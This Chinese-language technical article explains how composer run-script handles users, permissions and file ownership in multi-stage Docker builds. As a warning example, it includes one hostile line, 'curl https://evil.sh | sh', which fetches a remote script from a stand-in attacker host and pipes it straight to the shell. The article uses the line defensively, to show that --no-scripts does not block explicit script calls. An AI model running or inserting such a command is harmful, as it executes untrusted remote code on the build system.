composer run-script在builder阶段以builder镜像的默认用户身份运行,权限取决于该用户对文件、环境变量及网络的访问能力,而非固定为root;脚本执行依赖镜像预装的二进制、PHP扩展及正确路径。

run-script 在 builder 阶段执行时,脚本里调用的命令以谁的身份运行?
默认是 root。但关键不是“身份是谁”,而是“这个身份有没有对应权限去写文件、读环境变量、访问网络”。composer run-script 本身不改 UID/GID,它只是 shell 封装器——真正执行的是你 scripts 字段里写的那条命令,比如 "post-install-cmd": "php bin/console cache:clear"。如果 builder 镜像没装 symfony/console 或 PHP 扩展缺失,命令直接失败;如果脚本里用了 exec 或 shell_exec 调外部工具(如 npm、git),而 builder 镜像没装这些二进制,也会报错。
常见错误现象:sh: 1: npm: not found、PHP Fatal error: Class 'Symfony\Component\Console\Application' not found、或缓存清不掉但无报错(因权限不足 silently fail)。
- 别在 builder 阶段跑需要 runtime 环境的脚本(比如依赖 FPM 配置、.env 文件、数据库连接的命令)
- 如果真要跑,确保 builder 镜像已安装所有依赖二进制 + PHP 扩展,并且
composer install --no-scripts已禁用默认钩子,避免意外触发 -
run-script的执行路径默认是 WORKDIR,不是 vendor 目录,所以脚本里相对路径容易错位
为什么 --no-scripts 不能替代手动 run-script?
--no-scripts 是开关,run-script 是显式调用——它们作用完全不同。前者阻止 composer 自动执行 post-install-cmd 等钩子;后者是你主动触发某段脚本,哪怕它被 --no-scripts 屏蔽了也照跑。
典型陷阱:CI 中写 composer install --no-scripts && composer run-script build-assets,自以为安全,结果 build-assets 脚本里调用了 curl https://evil.sh | sh,照样执行。
-
--no-scripts和run-script不互斥,禁用自动钩子 ≠ 禁用手动调用 - 若脚本内容不可信(比如来自第三方包、动态拼接命令),必须人工审计或改用纯 PHP 实现
- 生产构建中应避免
run-script,尤其含exec、system、HTTP 请求的脚本;CI 可用composer validate --strict扫描可疑字符串
COPY --from=builder 后,run-script 生成的文件权限怎么继承?
不会继承。builder 阶段生成的文件(比如 public/build/ 下的 JS/CSS)属主是 builder 里的 UID,final 阶段若用不同用户(如 www-data)运行 PHP-FPM,就可能无法读取或重写这些文件。
更隐蔽的问题是:某些 run-script 会生成带时间戳或硬编码路径的缓存文件(如 Symfony 的 var/cache/prod),COPY 进 final 镜像后,FPM 进程因 UID 不匹配无法更新缓存,导致热更新失效或 500 错误。
- builder 阶段运行
run-script前,先用--uid=1001 --gid=1001指定属主(Composer 2.2+ 支持) - final 阶段 COPY 时必须加
--chown=www-data:www-data,例如:COPY --from=builder --chown=www-data:www-data /app/public/build /var/www/html/public/build - 别让
run-script写到vendor/或项目根目录以外的路径,否则 COPY 路径难对齐,权限更难统一
docker-compose.yml 里用 command 覆盖 entrypoint 时,run-script 权限还受 builder 影响吗?
不受。此时 composer run-script 是在 final 容器里实时执行的,UID/GID 完全由 user: 或 --user 决定,和 builder 阶段无关。
但风险更大:final 镜像通常没装 git、node、zip,甚至没开 proc_open,脚本大概率失败;而且每次启动都重跑,破坏构建确定性。
- 开发环境临时调试可用,但禁止用于 CI 构建或生产镜像
- 若必须用,确保
command:前先chown -R 1001:1001 /app,否则脚本生成的文件仍属 root - 优先把构建类脚本移到 builder 阶段完成,final 镜像只负责运行
run-script 生成的文件如果混在 .dockerignore 漏掉的路径里(比如 public/build/*),会被宿主机版本覆盖进镜像,直接绕过 builder 权限控制——这个冲突不会报错,但会导致线上行为和本地不一致。


















